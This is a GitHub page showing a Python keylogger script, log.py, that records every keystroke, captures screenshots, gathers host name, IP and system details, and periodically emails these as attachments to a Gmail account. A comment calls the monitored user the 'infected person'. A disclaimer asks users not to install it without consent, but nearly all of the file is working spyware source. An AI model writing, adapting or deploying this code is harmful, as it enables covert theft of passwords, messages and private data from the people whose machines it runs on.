-
Notifications
You must be signed in to change notification settings - Fork 1
/
log.py
344 lines (289 loc) · 12.4 KB
/
log.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
# Created by Shreevathsa GP
import datetime
import time
import smtplib
import email
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
from email.mime.application import MIMEApplication
import pynput
from pynput.keyboard import Key, Listener
import pyscreenshot
import pyscreenshot as screen_capture
import socket
import platform
import sys
from sys import platform as plat
import os
from getpass import getpass
def clear():
_ = os.system('clear') # Makes the terminal window clean, so that the next printed line, shows up at the top
print('\n\n\n')
clear()
print('If you wish to continue with this software, please read through the following terms and conditions carefully:'
'\n\na) Give terminal or command prompt full access to system files, Accessibility and keystroke monitoring, '
'as without this program will not run.'
'\nb) I, the programmer of this software am in no circumstances responsible, for anything you do with this '
'software, once'
'you have downloaded it locally on your laptop, it is no longer my responsibility in any manner or form, and you '
'may do any legal thing you wish with it.'
"\nc) Please refrain from sending or installing this key logger software on to any system, without the user's "
"permission, this is against the law, and I the maker of the software am not responsible ethically or legally."
"\nd) Because this logger works on the basis of sending emails (@gmail.com only), you must turn the ability for"
"secure apps, to access the account, or else this will not work!")
print('\n\n\n')
verdict = input("Do you comply with the terms and regulations and agree to the fact that I the programmer am in "
"no way tied to or responsible for you the user's actions with this software? (y/n)")
print('\n\n')
if verdict == "yes" or verdict == "y":
clear()
wait = input('How often would you like a log sent to your mail (minutes)?')
try:
wait = int(wait)
except:
print('\n Please enter an integer time value (minutes)')
exit()
print('\n\n')
clear()
email_id = input('Which account would you like the log to be sent to (@gmail.com)?\n Email: ')
passd = getpass(' Password: ')
try:
test_mail = smtplib.SMTP('smtp.gmail.com', 587, timeout=10)
test_mail.starttls()
test_mail.login(email_id, password=passd)
test_mail.close()
except:
print('\n\n !USERNAME AND OR YOUR PASSWORD IS WRONG, PLEASE RETRY WITH VALID CREDENTIALS!')
exit()
if str(email_id).find('@gmail.com') == -1:
print('\n Please enter a valid @gmail.com email address')
exit()
else:
pass
print('\n')
clear()
print('Log started on: {}'.format(datetime.datetime.now().replace(microsecond=0)))
pass
elif verdict == "no" or verdict == "n":
print('Hope to see you again! Goodbye!')
exit()
else:
print('Hope to see you again! Goodbye!')
exit()
password = passd
dir_path = '{}/Logger'.format(os.path.expanduser('~'))
if os.path.isdir(dir_path):
pass
else:
os.makedirs(dir_path)
screenshot_path = '{}/Logger/screenshot.png'.format(os.path.expanduser('~'))
computer_information_path = '{}/Logger/computer_info.txt'.format(os.path.expanduser('~'))
keylog_path = '{}/Logger/log.txt'.format(os.path.expanduser('~'))
with open(keylog_path, 'w') as file:
file.write(' ')
file.close()
with open(computer_information_path, 'w') as file:
file.write(' ')
file.close()
current_datetime = datetime.datetime.now()
current_time = time.localtime()
now = datetime.datetime.now()
wait_time = float(wait) # Minutes
send_time = now + datetime.timedelta(minutes=wait_time)
iteration_limit_counter = 0
iteration_limit = 1000
count = 0
keys = []
# This all_keys is kept like this so, that if the infected person starts with a series of backspaces, no
# important info is deleted
all_keys = ['_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_',
'_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_',
'_','_''_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_',
'_', '_' , '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_',
'_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_',
'_', '_', '_', '_', '\n', '\n', '\n', '\n', '\n', '\n', '\n', '\n', '\n', '\n', '\n', '\n']
iterations = 0
def screenshot():
image = screen_capture.grab()
image.save(screenshot_path) # .format(current_datetime))
def computer_information():
host_name = socket.gethostname()
IP = socket.gethostbyname(host_name)
with open(computer_information_path, 'w') as file:
file.write("\nSystem: {}, {}".format(platform.system(), platform.version()))
file.write("\nProcessor: {}".format(platform.processor()))
file.write("\nMachine: {}".format(platform.machine()))
file.write("\nHost Name: {}".format(host_name))
file.write("\nIP Address: {}".format(IP))
file.close()
def organize_file(iteration_counter):
global iteration_limit_counter
if iteration_counter % 1 == 0:
iteration_limit_counter += 1
with open(keylog_path, 'w') as log:
for key in all_keys:
k = str(key).replace("'", "")
if k.find('space') > 0:
log.write('\n')
elif str(key).find('shift') > 0:
log.write('\n <<shift pressed>>\n')
elif str(key).find('down') > 0:
log.write('\n <<down pressed>>\n')
elif str(key).find('up') > 0:
log.write('\n <<up pressed>>\n')
elif str(key).find('right') > 0:
log.write('\n <<right pressed>>\n')
elif str(key).find('left') > 0:
log.write('\n <<left pressed>>\n')
elif str(key).find('tab') > 0:
log.write('\n <<tab pressed>>, ')
elif str(key).find('Key.caps_lock') > 0:
log.write('\n <<caps_lock pressed>>\n')
elif str(key).find('ctrl') > 0:
log.write('\n <<ctrl pressed>>\n')
elif str(key).find('cmd_r') > 0:
log.write('\n <<cmd_r pressed>>\n')
elif str(key).find('alt_r') > 0:
log.write('\n <<alt_r pressed>>\n')
elif str(key).find('enter') > 0:
log.write('\n <<enter pressed>>\n')
else:
log.write(k)
log.close()
else:
pass
def send_email(email_address, password):
# print(datetime.datetime.now())
# print(send_time)
# print('Sending email....')
# For the email to work, 2-step verification should be turned off, and the permissions for logging
# in should include allow secure applications
address_from = email_address
address_to = email_address
msg = MIMEMultipart()
msg['From'] = address_from
msg['To'] = address_to
msg['Subject'] = "{}'s Log - {}".format(socket.gethostname(), datetime.datetime.now().replace(microsecond=0))
body = "Please Find Attached: \na) Log.txt containing keylog of {}\nb) Screenshot from {}\nc) The User " \
"information\n\nRegards,\nLogger".format(datetime.datetime.now().replace(microsecond=0),
datetime.datetime.now().replace(microsecond=0))
msg.attach(MIMEText(body, 'plain'))
log_file = "log.txt" # .format(current_datetime)
screenshot_file = "logshot.png"
user_info_file = "UserInfo.txt"
attachment_1 = MIMEApplication(open(keylog_path, 'rb').read(), _subtype='txt')
attachment_1.add_header('Content-Disposition', "attachment; filename= %s" % log_file)
msg.attach(attachment_1)
if plat == 'darwin':
pass
elif plat.find('win') > 0 or plat.find('linux') > 0:
attachment_2 = MIMEApplication(open(screenshot_path, 'rb').read(), _subtype='png')
attachment_2.add_header('Content-Disposition', "attachment; filename= %s" % screenshot_file)
msg.attach(attachment_2)
attachment_3 = MIMEApplication(open(computer_information_path, 'rb').read(), _subtype='txt')
attachment_3.add_header('Content-Disposition', "attachment; filename= %s" % user_info_file)
msg.attach(attachment_3)
mail = smtplib.SMTP('smtp.gmail.com', 587, timeout=10)
mail.starttls()
mail.login(address_from, password=password)
text = msg.as_string()
mail.sendmail(address_from, address_to, text)
mail.quit()
# print("Sent email!")
while type(2) == int:
send = True
def on_press(key):
global keys, count, all_keys
# keys.append('a', 'b', 'c', 'd')
# print(key)
keys.append(key)
all_keys.append(key)
count += 1
if count >= 1:
count = 0
write_file(keys)
# print('all keys:', all_keys)
# print('keys:', keys)
keys = []
def write_file(keys):
global iterations
with open(keylog_path, 'a') as log:
for key in keys:
iterations += 1
if str(key).find('backspace') > 0:
factored_key = all_keys[all_keys.index(key) - 2]
all_keys.pop(all_keys.index(key) - 1)
all_keys.pop(all_keys.index(key))
else:
factored_key = all_keys[all_keys.index(key)]
refined_key = str(factored_key).replace("'", "")
if refined_key.find('space') > 0:
log.write('\n')
log.close()
else:
log.write(refined_key)
log.close()
organize_file(iteration_counter=iterations)
# print(all_keys)
def on_release(key):
if datetime.datetime.now() > send_time:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
if datetime.datetime.now() > send_time:
#print('checking')
#print('Sending.....')
if plat == 'darwin':
pass
elif plat.find('win') != -1:
screenshot()
elif plat.find('linux') != -1:
screenshot()
computer_information()
try:
send_email(str(email_id), password=password)
# Clear contents of file
with open(keylog_path, 'w') as file:
file.write(' ')
file.close()
all_keys.clear()
all_keys = ['_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_',
'_',
'_',
'_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_',
'_',
'_',
'_', '_''_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_',
'_',
'_', '_',
'_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_',
'_',
'_',
'_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_', '_',
'_',
'_',
'_', '_', '_', '_', '\n', '\n', '\n', '\n', '\n', '\n', '\n', '\n', '\n', '\n', '\n', '\n']
except:
print('\n\nLog failed to send email at: {}\n'.format(datetime.datetime.now().replace(microsecond=0)))
pass
send_time = datetime.datetime.now() + datetime.timedelta(minutes=wait_time)
#print('Sent!!')
# One last send before programme is stopped
if plat == 'darwin':
pass
elif plat.find('win') != -1:
screenshot()
elif plat.find('linux') != -1:
screenshot()
computer_information()
try:
send_email(str(email_id), password=password)
except:
pass
print('\nLog ended on: {}'.format(datetime.datetime.now().replace(microsecond=0)))
"""
Trial Area:
"""
# Created by Shreevathsa GP